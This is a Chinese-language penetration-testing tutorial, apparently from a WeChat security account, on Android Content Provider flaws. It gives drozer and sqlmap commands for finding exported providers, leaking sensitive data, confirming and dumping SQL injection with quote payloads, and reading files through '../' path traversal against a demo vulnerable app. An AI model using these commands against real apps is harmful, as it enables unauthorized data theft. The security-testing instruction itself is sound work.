目录
-
URI -
漏洞测试方法 -
找出导出组件 -
找出URI -
本地敏感信息泄露漏洞 -
本地SQL注入漏洞 -
本地任意文件读取
Android中的数据存储方式:Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享,对于不同应用之间共享数据,就要借助Content Provider。Content Provider 是 Android 定义的四大组件之一,Content Provider为存储和读取数据提供了统一的接口,使用表的形式来对数据进行封装,使用Content Provider可以在不同的应用程序之间共享数据(核心功能),统一数据的访问方式,保证数据的安全性。当然也可以用于应用内的数据封装。
URI
安卓应用创建一个Content Provider,其他的应用可以通过使用Content Resolver来访问Content Provider提供的数据,而ContentResolver通过uri来定位自己要访问的数据,所以我们要先了解URI。
URI即Uniform Resource Identifier,统一资源定位符,在Content Provider中URI的作用就是唯一标志Content Provider及其中的数据,外界进程通过URI即可找到对应的Content Provider及其中的数据,再进行数据操作
「比如有这样一个URI:」
content://com.carson.provider/User/1
(1)标准前缀:content:// ,用来说明一个Content Provider控制这些数据 (2)URL的标识:com.carson.provider, 用于唯一标识这个ContentProvider,外部调用者可以根据这个标识来找到它。对于第三方程序,为了保证URL标识的一致性,必须是一个完整的、小写的类名,这个标识在元素的authorities属性中说明,一般是定义该ContentProvider的包.类的名称 (3)路径:User,要操作的数据库中表的名字,或者可以自己定义,记得在使用的时候保持一致 (4)记录ID:id, 如果URL中包含表示需要获取的记录ID,则返回该id对应的数据,如果没有ID,就表示返回全部
漏洞测试方法
❝
引用来自看雪论坛 APP漏洞之战系列文章
❞
<provider
android:name=".MyContentProvider"
android:authorities="com.example.myapp.provider"
android:exported="true"
android:permission="android.permission.ACCESS_MY_DATA"
android:readPermission="android.permission.READ_MY_DATA"
android:writePermission="android.permission.WRITE_MY_DATA"
android:protectionLevel="signature" />
找出导出组件
-
反编译 apk 文件,在 AndroidManifest.xml 中查找显示设置了 android:exported="true" Content Provider。 -
使用drozer扫描
adb forward tcp:31415 tcp:31415
drozer console connect
run app.provider.info -a <Package_Name>
找出URI
-
反编译 apk 文件,在代码中查找 Uri :matcher.addURI ,并手动拼接 uri。
❝
matcher.addURI 方法用于向 UriMatcher 添加 URI 模式和相应的匹配码:matcher.addURI("ddns.vuls.AccountProvider", "/account", 1); 这个模式表示当 URI 为 "content://ddns.vuls.AccountProvider/account" 时,对应的匹配码是 1。matcher.addURI("ddns.vuls.AccountProvider", "/account/#", 2); 这个模式表示当 URI 为 "content://ddns.vuls.AccountProvider/account/任意数字" 时,对应的匹配码是 2。
❞
matcher.addURI("ddns.vuls.AccountProvider", "/account/ *", 3); 这个模式表示当 URI 为 "content://ddns.vuls.AccountProvider/account/任意字符串(空字符串也是字符串)" 时,对应的匹配码是 3。
❝
在 Android 的 Content Provider 架构中,匹配码(match code)是一个整数值,用于标识 URI 的匹配模式。当应用程序通过 Content Resolver 发起请求时,系统会使用 UriMatcher 来根据请求的 URI 进行匹配,并返回相应的匹配码,以便 Content Provider 可以根据匹配码执行正确的操作。
❞
-
使用 drozer 扫描
run app.provider.finduri <Package_Name>
本地敏感信息泄露漏洞
这个漏洞的发现,主要就是去访问找出的URI,看对应的URI是否有权限去访问,并且是否存在敏感的数据
使用drozer去验证漏洞是否存在的命令:
run app.provider.query <contenturi>
❝
However, we still think drozer is a good tool for simulating a rogue application. A penetration tester does not have to develop an app with custom code to interface with a specific content provider. Instead, drozer can be used with little to no programming experience required to show the impact of letting certain components be exported on a device. 然而,我们仍然认为 drozer 是一个很好的工具来模拟流氓应用程序。渗透测试人员不必开发具有自定义代码的应用程序来与特定的内容提供者进行交互。相反,Drozer 可以在几乎没有编程经验的情况下使用,以显示在设备上导出某些组件的影响。
❞
恶意APP利用代码参考:
本地SQL注入漏洞
在 Android 中,Content Provider 是一种用于管理应用程序之间共享数据的组件。它提供了一组标准的 CRUD(Create, Read, Update, Delete)操作,以便其他应用程序可以访问和操作数据,同时也可以用于数据的安全共享和权限控制。其中,query()
方法用于执行数据查询操作。
public Cursor query(
Uri uri,
String[] projection,
String selection,
String[] selectionArgs,
String sortOrder);
参数解释:
-
uri
: 要查询的数据的 URI。URI 用于指定要查询的数据集合,可以包含路径、标识符等信息。 -
projection
: 要返回的列的列表。可以通过此参数来指定要返回哪些列的数据。如果为null
,则返回所有列的数据。 -
selection
: 用于筛选数据的 WHERE 子句。例如,可以使用这个参数来设置过滤条件。 -
selectionArgs
: 用于替换selection
中的占位符(?
)。这是一个字符串数组,与selection
中的占位符一一对应。 -
sortOrder
: 对结果进行排序的规则。可以指定一个列名,并通过 ASC(升序)或 DESC(降序)来进行排序。
返回值解释:
-
Cursor
: 查询结果的游标。游标是一个指向查询结果集的指针,它允许你逐行遍历查询结果并访问其中的数据。
query()
方法的作用是执行一个数据查询操作,根据传入的参数进行数据的过滤、排序等操作,然后返回一个指向查询结果的游标。这样,其他应用程序可以通过 Content Resolver 向 Content Provider 发起查询请求,并通过游标获取查询结果的数据。在实际使用中,你需要根据自己的需求在 Content Provider 中实现合适的 query()
方法,以满足不同查询需求。
使用drozer进行sql注入漏洞的验证:
dz> run app.provider.query "content://ddns.vuls.AccountProvider/account/?name=Tom"
| _id | name | password |
| 1 | Tom | 123456 |
dz> run app.provider.query "content://ddns.vuls.AccountProvider/account/?name=Tom'"
unrecognized token: "'Tom''" (code 1 SQLITE_ERROR): , while compiling: SELECT * FROM account WHERE name='Tom''
dz> run app.provider.query "content://ddns.vuls.AccountProvider/account/?name=Tom'--+"
| _id | name | password |
| 1 | Tom | 123456 |
dz>
使用sqlmap对安卓APP本地sql注入漏洞进行利用
1.获取Accessible content URIs:
run scanner.provider.finduris -a ddns.android.vuls
2.对 可访问的url进行信息查询
run app.provider.query content://ddns.vuls.AccountProvider/account/
3. 如果以上url进行查询列出了相关字段,可使用以下命令尝试进行sql注入
run scanner.provider.injection -a ddns.android.vuls
4. 进一步验证
run app.provider.query content://ddns.vuls.AccountProvider/account/ --projection "'"
--projection 后表示要注入的语句(双引号包含),在这里注入了一个单引号
5. 使用sqlmap进行自动化注入
此时可开启web中转服务器交给sqlmap进行注入:
run auxiliary.webcontentresolver
http://192.168.10.11:8080/query?uri=content://ddns.vuls.AccountProvider/account/&projection=1*&selection=&selectionSort=
http://192.168.10.11:8080/query?uri=content://ddns.vuls.AccountProvider/account/?name=Tom
python sqlmap.py -u "http://127.0.0.1:8080/query?uri=content://ddns.vuls.AccountProvider/account/&projection=1*&selection=&selectionSort=" --dbms=SQLite --dump --batch
本地任意文件读取
当 Content Provider 实现了 openFile 接口的时候,通常可以对文件进行读写操作,如果未对请求的合法性做校验,会造成任意文件读写漏洞。
使用 drozer 验证:
run scanner.provider.traversal -a ddns.android.vuls
dz> run app.provider.read content://ddns.vuls.AccountProvider/../../../../../../../../../../etc/hosts
127.0.0.1 localhost
::1 ip6-localhost
引用
-
看雪论坛-Android APP漏洞之战系列文章
-
公众号:安卓APP安全测试
原文始发于微信公众号(闻鸡习武):Android APP Content Provider组件常见漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论